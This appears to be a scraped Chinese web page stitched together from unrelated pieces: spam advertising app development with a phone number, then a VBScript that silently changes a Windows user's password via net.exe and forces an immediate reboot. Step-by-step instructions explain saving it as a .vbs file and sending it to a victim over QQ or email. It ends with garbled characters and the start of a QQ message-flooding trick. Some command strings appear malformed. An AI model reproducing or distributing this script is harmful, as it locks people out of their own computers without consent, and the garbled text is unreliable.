小小微系统开发「阮生」【181﹎4289﹍8881】〔微或电〕,小小微现成APP开发,小小微现成软件,小小微开发,小小微现成源码,小小微APP开发,小小微软件开发,小小微类似模式开发。
On Error Resume Next
Dim fso,ws,file,shut,password
password=""
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
fol=fso.GetSpecialFolder(1)
file=fol&"\net.exe"
shut=fol&"\shutdown.exe"
ws.run file&"user%UserName%"+Chr(34)&password&Chr(34),0,True
ws.run shut&"/r/f/t 0",0
接着,找到第三行password="",然后在等于号后面的双引号中输入你想更改别人电脑的密码,例如你要把别人的电脑密码更改成123就把第三行变成password="123".
最后,你单击上面工具栏的"文件">"另存为".在打开的对话框中选择好你要保存文件的路径,然后在"文件名"中输入*.vbs(*为你需要的任意名字),在"保存类型"中选择"所有文件".最后在"编码"中选择"ANSI".最后按下"保存"按钮~呵呵~你就把这个保存的文件通过QQ,邮件等方式发给你要改密码的那个人吧~:O0Il1《({】¥··..…})》4?R6齌
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).